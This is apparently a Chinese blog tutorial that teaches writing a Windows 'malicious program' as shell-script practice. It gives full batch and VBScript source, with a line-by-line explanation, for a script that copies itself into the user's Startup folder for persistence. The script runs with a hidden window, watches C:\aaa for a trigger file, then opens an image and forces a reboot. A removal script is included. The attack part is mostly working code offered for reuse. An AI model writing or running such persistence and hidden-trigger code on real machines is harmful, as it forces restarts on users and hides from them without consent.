[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)
🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 1 需求
- 2 windows 实现需求
- 2.1 恶意程序 windows-2.bat 源码
- 2.1.1 恶意程序 windows-2.bat 源码
- 2.1.2 恶意程序 windows-2.bat 源码讲解
- 2.2 清除程序 windows-kill.bat 源码
- 2.2.1 清除程序 windows-kill.bat 源码
- 2.2.2 清除程序 windows-kill.sh 源码讲解
- 2.3 后台运行vbs文件
- 2.3.1 windows-background.vbs 源码
- 2.3.2 windows-background.vbs 源码讲解
- 2.4 演示
- 2.3.1 恶意程序 windows-2.bat
- 2.3.2 清除程序 windows-kil.bat
- 2.3.3 后台运行:windows-background.vbs文件
- 2.3.4 恶意文件a.txt
- 2.3.5 1.jpg
- 2.3.6 操作步骤
- 2.3.6.1 执行 windows-background.vbs
- 2.3.6.2 特定文件移动到特定目录
- 2.3.6.3 恶意程序监测到特定文件并执行恶意操作
- 2.3.6.4 执行 windows-kill.bat 清除恶意程序
- 相关资源
1 需求
需求:做一个恶意程序A
恶意程序A会监测某一个特定的目录B
当目录B下出现某个特定文件C的时候
恶意程序A就会执行某一个固定的恶意操作D
2 windows 实现需求
恶意程序
windows-2.bat
监测特定目录C:aaa
出现特定文件a.txt
执行恶意操作start C:\1.jpg
2.1 恶意程序 windows-2.bat 源码
2.1.1 恶意程序 windows-2.bat 源码
@echo off
chcp 65001
setlocal
set "source_folder=C:\aaa"
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
set "file_name=windows-2.bat"
set "destination_file_name=plan.bat"
REM 检查启动项是否存在
if not exist "%destination_folder%\%file_name%" (
REM 如果不存在,则复制文件,创建启动项
copy "%source_folder%\%file_name%" "%destination_folder%\%destination_file_name%"
echo 启动项创建成功。
) else (
echo 目标目录中已存在该文件。
)
setlocal
set "targetDir=C:\aaa"
set "targetFile=a.txt"
:Start
if exist "%targetDir%\%targetFile%" (
echo %targetFile% 文件已经存在于 %targetDir%
start C:\aaa\1.jpg
echo 系统将在1分钟后重新启动...
timeout /t 0 /nobreak > nul
echo 正在执行重启操作...
shutdown /r /f /t 60
) else (
timeout /t 1 >nul
goto Start
)
pause
2.1.2 恶意程序 windows-2.bat 源码讲解
这段脚本的主要功能是:检查并创建启动项文件。监控特定文件的存在,如果存在则打开图片并计划在1分钟后重启系统;如果不存在则每隔1秒重新检查一次。两个主要部分:一个用于创建启动项,另一个用于监控特定文件的存在并执行重启操作。以下是对每一部分的详细解释:
第一部分:创建启动项
@echo off
: 关闭命令回显,这样在执行脚本时不会显示每条命令本身,只显示命令的输出结果。
chcp 65001
: 设置代码页为UTF-8,确保脚本可以正确处理和显示Unicode字符。
setlocal
: 开始本地环境更改,使变量的作用范围仅限于当前脚本或子脚本。
set "source_folder=C:\aaa"
: 设置变量source_folder,其值为源文件夹路径C:\aaa。
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
: 设置变量destination_folder,其值为当前用户的启动文件夹路径。
set "file_name=windows-2.bat"
: 设置变量file_name,其值为要复制的文件名windows-2.bat。
set "destination_file_name=plan.bat"
: 设置变量destination_file_name,其值为目标文件名plan.bat。
REM 检查启动项是否存在: 注释,说明接下来的代码块是用于检查启动项文件的。
if not exist “%destination_folder%%file_name%” (: 检查指定路径下是否存在名为windows-2.bat的文件。
copy “%source_folder%%file_name%” “%destination_folder%%destination_file_name%”: 如果不存在,则复制文件,创建启动项。
echo 启动项创建成功。: 输出一条消息,表示启动项文件已成功创建。
) else (
: 如果文件存在,则执行以下代码块。
echo 目标目录中已存在该文件。
: 输出一条消息,表示目标目录中已经存在该文件。
第二部分:监控文件并执行重启操作
setlocal
: 再次开始本地环境更改。
set "targetDir=C:\aaa"
: 设置变量targetDir,其值为目标文件夹路径C:\aaa。
set "targetFile=a.txt"
: 设置变量targetFile,其值为要监控的文件名a.txt。
:Start
: 定义一个标签,用于循环监控文件的存在。
if exist "%targetDir%\%targetFile%" (
: 检查指定路径下是否存在名为a.txt的文件。
echo %targetFile% 文件已经存在于 %targetDir%
: 输出一条消息,表示文件已经存在。
start C:\aaa\1.jpg
: 打开图片文件1.jpg。
echo 系统将在1分钟后重新启动...
: 输出一条消息,提示系统将在1分钟后重新启动。
timeout /t 0 /nobreak > nul
: 等待0秒,不中断用户输入。
echo 正在执行重启操作...
: 输出一条消息,表示即将执行重启操作。
shutdown /r /f /t 60
: 强制重启计算机,并在60秒后执行重启。
) else (
: 如果文件不存在,则执行以下代码块。
timeout /t 1 >nul: 等待1秒,不中断用户输入。
goto Start: 跳转到标签Start,继续监控文件的存在。
pause
: 暂停脚本执行,等待用户按任意键继续。这通常用于在脚本执行完毕后保持命令提示符窗口打开,以便查看输出信息。
2.2 清除程序 windows-kill.bat 源码
2.2.1 清除程序 windows-kill.bat 源码
@echo off
chcp 65001
del "C:\aaa\windows-2.bat"
echo 恶意程序已删除。
del "C:\aaa\1.jpg"
echo 恶意图片已删除。
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
set "destination_file_name=plan.bat"
REM 检查启动项文件
if exist "%destination_folder%\%destination_file_name%" (
REM 如果存在,则删除文件
del "%destination_folder%\%destination_file_name%"
echo 启动项文件已经成功删除。
) else (
echo 目标目录没有该文件。
)
pause
2.2.2 清除程序 windows-kill.sh 源码讲解
@echo off
: 关闭命令回显,这样在执行脚本时不会显示每条命令本身,只显示命令的输出结果。
chcp 65001
: 设置代码页为UTF-8,确保脚本可以正确处理和显示Unicode字符。
del "C:\aaa\windows-2.bat"
: 删除位于C:\aaa目录下名为windows-2.bat的文件。
echo 恶意程序已删除。
: 输出一条消息,表示指定的恶意程序已被删除。
del "C:\aaa\1.jpg"
: 删除位于C:\aaa目录下名为1.jpg的图片文件。
echo 恶意图片已删除。
: 输出一条消息,表示指定的恶意图片已被删除。
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
: 设置变量destination_folder,其值为当前用户的启动文件夹路径。
set "destination_file_name=plan.bat"
: 设置变量destination_file_name,其值为要检查和删除的启动项文件名plan.bat。
REM 检查启动项文件
: 注释,说明接下来的代码块是用于检查启动项文件的。
if exist "%destination_folder%\%destination_file_name%" (
: 检查指定路径下是否存在名为plan.bat的文件。
del "%destination_folder%\%destination_file_name%"
: 如果存在,则删除该文件。
echo 启动项文件已经成功删除。
: 输出一条消息,表示启动项文件已被删除。
) else (
: 如果文件不存在,则执行以下代码块。
echo 目标目录没有该文件。
: 输出一条消息,表示目标目录中没有找到该文件。
pause
: 暂停脚本执行,等待用户按任意键继续。这通常用于在脚本执行完毕后保持命令提示符窗口打开,以便查看输出信息。
2.3 后台运行vbs文件
2.3.1 windows-background.vbs 源码
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\aaa\windows-2.bat", 0, False
2.3.2 windows-background.vbs 源码讲解
这段代码是用VBScript编写的,它的作用是创建一个WScript.Shell对象,并使用该对象来运行一个批处理文件。
Set WshShell = CreateObject("WScript.Shell")
: 这行代码创建了一个WScript.Shell对象,并将其赋值给变量WshShell。WScript.Shell是一个Windows脚本宿主(WSH)对象,提供了对Windows操作系统的一些功能和操作的访问。
WshShell.Run "C:\aaa\windows-2.bat", 0, False
: 这行代码使用WScript.Shell对象的Run方法来运行指定的批处理文件。
"C:\aaa\windows-2.bat"
: 这是要运行的批处理文件的路径。
0
: 这是窗口样式参数。值为0表示隐藏窗口,即不显示命令提示符窗口。
False
: 这是等待完成参数。值为False表示脚本会等待批处理文件执行完毕再继续执行后续代码。如果设置为True,则脚本不会等待批处理文件执行完毕,而是立即继续执行后续代码。
2.4 演示
2.3.1 恶意程序 windows-2.bat
2.3.2 清除程序 windows-kil.bat
2.3.3 后台运行:windows-background.vbs文件
用来隐藏CMD窗口的
2.3.4 恶意文件a.txt
2.3.5 1.jpg
2.3.6 操作步骤
2.3.6.1 执行 windows-background.vbs
直接双击这个VBS文件就ok了,双击没有任何的一个弹窗或者什么的任何的反应,但是他其实是已经在后台跑起来了,然后他一直在监控这个
C:\aaa
目录。
如果说C:\aaa
这个特定的目录下出现了a.txt
这个特定的文件的时候,这个恶意操作就会执行,因为它的程序已经在运转了。
2.3.6.2 特定文件移动到特定目录
我是直接拖过去的
2.3.6.3 恶意程序监测到特定文件并执行恶意操作
打开1.jpg图片
写入启动项:注意:这里启动项里面的文件plan.bat
和windows-2.bat
是一模一样的,只不过改了一个名字
一分钟后关机操作
等待一分钟之后,重启
2.3.6.4 执行 windows-kill.bat 清除恶意程序
回显内容:
恶意程序已删除。
恶意图片己删除。
启动项文件已经成功删除。
恶意启动项已删除。
恶意程序已删除。
恶意图片己删除。
相关资源
shell脚本入门到精通
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)